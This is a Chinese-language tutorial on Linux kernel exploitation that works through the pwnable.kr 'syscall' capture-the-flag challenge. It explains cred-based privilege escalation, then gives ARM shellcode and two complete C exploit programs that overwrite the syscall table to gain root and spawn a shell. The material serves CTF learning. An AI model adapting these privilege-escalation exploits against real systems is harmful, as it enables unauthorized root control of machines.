kernel exploit简介

1、Linux内核exploit介绍

在linux下,整个内存空间中,只有一部分低地址是进程可访问的,而高地址处则是属于内核。例如,在x86的机器上,0x000000000xbfffffff是属于进程的,而0xc00000000xffffffff这1 GB是属于内核的。

出于安全考虑,进程无法访问属于内核的内存,否则恶意进程就有可能对系统内核的内存进行读取或者篡改。反过来,属于进程的内存,是可以被内核访问的。特别地,在内核太可以跳转执行用户空间中的代码。(不过,在某些硬件上,比如较新的Core CPU,Intel加入了SMEP等保护功能,限制了内核执行用户空间代码的操作)

内核空间的exploit,本质上与用户空间的exploit是相同的:都是修改执行流程,达到我们的目的。一般来说,用户空间的exploit,其目的是获取shell;而内核空间的exploit,其目的则是提升权限,获取对系统的完全控制。

Linux系统下,每个进程拥有其对应的struct cred,用于记录该进程的uid。内核exploit的目的,便是修改当前进程的cred,从而提升权限。当然,进程本身是无法篡改自己的cred的,我们需要在内核空间中,通过以下方式来达到这一目的:

1
commit_creds(prepare_kernel_cred(0));

其中,prepare_kernel_cred()创建一个新的cred,参数为0则将cred中的uid, gid设置为0,对应于root用户。随后,commit_creds()将这个cred应用于当前进程。此时,进程便提升到了root权限。

这些方法的地址,可以通过/proc/kallsyms获取。不过,有时为了安全,管理员会隐藏内核符号的地址,此时便无法通过这一方式获取地址。

提升权限后,我们还需要返回到用户空间。在这里,我们可以运行shell,从而以root身份执行任意命令了。

2、范例——pwnable.kr: syscall

在pwnable.kr上有一道题,syscall,就可以作为内核exploit的入门

其中将syscall.c编译进了内核

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
// adding a new system call : sys_upper
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/slab.h>
#include <linux/vmalloc.h>
#include <linux/mm.h>
#include <asm/unistd.h>
#include <asm/page.h>
#include <linux/syscalls.h>
#define SYS_CALL_TABLE 0x8000e348 // manually configure this address!!
#define NR_SYS_UNUSED 223
//Pointers to re-mapped writable pages
unsigned int** sct;
asmlinkage long sys_upper(char *in, char* out){
int len = strlen(in);
int i;
for(i=0; i<len; i++){
if(in[i]>=0x61 && in[i]<=0x7a){
out[i] = in[i] - 0x20;
}
else{
out[i] = in[i];
}
}
return 0;
}
static int __init initmodule(void ){
sct = (unsigned int**)SYS_CALL_TABLE;
sct[NR_SYS_UNUSED] = sys_upper;
printk("sys_upper(number : 223) is added\n");
return 0;
}
static void __exit exitmodule(void ){
return;
}
module_init( initmodule );
module_exit( exitmodule );

2.1 问题分析

你会发现这道题目提供了一个编写的内核模块源码,其中添加了一个syscall,其执行的逻辑基本与strcpy()相同,只是会将小写字母变为大写字母。

那么,这里的漏洞就很明显了,基本上就是一个向任意地址写任意内容的漏洞,只要写入的内容不包含小写字母。接下来,就是如何利用这个syscall,获取root权限,从而读取flag文件。

系统调用的地址存在0x8000e348+223 = 0x8000e6c4, flag在/root/flag

2.2 解题思路

首先修改 223 号系统调用的内容,然后调用这个修改过的 223 号系统调用,在 kernel space 把 uid 改掉,之后在 user space execve()就好了。

2.3 解题步骤

在现在版本的 Linux 内核修改 uid,需要通过prepare_creds()commit_creds()两步参考2。这两个函数的地址存在/proc/kallsyms:

1
2
3
4
$ cat /proc/kallsyms | grep 'prepare_creds\|commit_creds'
8003f44c T prepare_creds
8003f56c T commit_creds
...

参考 @acama 的版本 参考3写了一个( @acama 的版本prepare_creds()之后直接就commit_creds(), 这估计只在老版本可以).prepare_creds()返回的结构体定义可以看参考4.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
@ prepare_creds and commit_creds
.section .text
.global _start
_start:
push {lr}
mov r0, #0
ldr r3, =0x8003f44c @ prepare_creds()
blx r3
push {r0}
sub r1, r1, r1
add r0, #4
str r1, [r0], #4 @ set uid, euid, gid, etc
str r1, [r0], #4
str r1, [r0], #4
str r1, [r0], #4
str r1, [r0], #4
str r1, [r0], #4
str r1, [r0], #4
str r1, [r0], #4
pop {r0}
ldr r3, =0x8003f56c @ commit_creds(r0)
blx r3
pop {lr}
bx lr

这个生成的指令是不能用原先的 223 号系统调用直接写进内存的,所以我准备了一个真正的write-anything-anywhere的跳板:

1
2
3
4
5
6
7
8
9
10
11
12
13
@ Write anything anywhere
.section .text
.global _start
_start:
lp:
ldrb r3, [r0], #1
strb r3, [r1], #1
subs r2, r2, #1
bge lp
bx lr

先把 waa 写进内存,然后把 cred 写进内存。至于写到哪里,我随手写了两个地址: 0x83f5cafe, 0x83f6beee.

2.4 exp集锦

参考: https://cubarco.org/blog/2015/12/writeup-pwnable-syscall/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
char cred[] = "\x04\xe0\x2d\xe5\x00\x00\xa0\xe3\x40\x30\x9f\xe5\x33\xff\x2f\xe1\x04\x00\x2d\xe5\x01\x10\x41\xe0\x04\x00\x80\xe2\x04\x10\x80\xe4\x04\x10\x80\xe4\x04\x10\x80\xe4\x04\x10\x80\xe4\x04\x10\x80\xe4\x04\x10\x80\xe4\x04\x10\x80\xe4\x04\x10\x80\xe4\x04\x00\x9d\xe4\x0c\x30\x9f\xe5\x33\xff\x2f\xe1\x04\xe0\x9d\xe4\x1e\xff\x2f\xe1\x4c\xf4\x03\x80\x6c\xf5\x03\x80";
char waa[] = "\x01\x30\xd0\xe4\x01\x30\xc1\xe4\x01\x20\x52\xe2\xfb\xff\xff\xaa\x1e\xff\x2f\xe1";
char addr1[] = "\xfe\xca\xf5\x83";
char addr2[] = "\xee\xbe\xf6\x83";
int ret;
int main()
{
asm volatile (
"mov r0, %1\n"
"mov r1, %2\n"
"mov r7, #223\n"
"svc #0\n"
"mov r0, %3\n"
"mov r1, %4\n"
"mov r7, #223\n"
"svc #0\n"
"mov %0, r0"
: "=r" (ret)
: "r" (waa), "r" (0x83f5cafe),
"r" (addr1), "r" (0x8000e6c4)
: "r0", "r1", "r2", "r3", "lr"
);
printf("return value: %x\n", ret);
asm volatile (
"mov r0, %1\n"
"mov r1, %2\n"
"mov r2, %3\n"
"mov r7, #223\n"
"svc #0\n"
"mov r0, %4\n"
"mov r1, %5\n"
"mov r2, %6\n"
"mov r7, #223\n"
"svc #0\n"
"mov %0, r0"
: "=r" (ret)
: "r" (cred), "r" (0x83f6beee), "r" (89),
"r" (addr2), "r" (0x8000e6c4), "r" (5),
"r" (0)
: "r0", "r1", "r2", "r3", "r5", "lr"
);
printf("return value: %x\n", ret);
asm volatile (
"mov r7, #223\n"
"svc #0\n"
"mov %0, r0"
: "=r" (ret)
:
: "r0", "r1", "r3", "lr"
);
execl("/bin/sh", "sh", NULL);
return 0;
}

参考: http://w0lfzhang.me/2017/04/27/pwnable-syscall/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
//gcc -o solver solver.c -std=c99
#include <unistd.h>
#include <stdio.h>
#define SYS_CALL_TABLE 0x8000e348
#define PREPARE_KERNEL_CRED 0x8003f924
//0x8003f56c '6c' is low_case, so adding padding to '60'
#define COMMIT_CREDS 0x8003f560
#define SYS_EMPTY_A 188
#define SYS_EMPTY_B 189
int main() {
unsigned int* sct = (unsigned int*)SYS_CALL_TABLE;
char nop[] = "\x01\x10\xa0\xe1"; //rasm2 -a arm 'mov r1,r1'
char buf[20];
for (int i = 0; i < 12; i++) {
buf[i] = nop[i % 4];
}
buf[12] = 0;
syscall(223, buf, COMMIT_CREDS);
puts("Stage 1 - add padding");
syscall(223, "\x24\xf9\x03\x80", sct + SYS_EMPTY_A);
syscall(223, "\x60\xf5\x03\x80", sct + SYS_EMPTY_B);
puts("Stage 2 - overwrite syscall table");
syscall(SYS_EMPTY_B, syscall(SYS_EMPTY_A, 0));
puts("Stage 3 - set new cred");
system("/bin/sh");
return 0;
}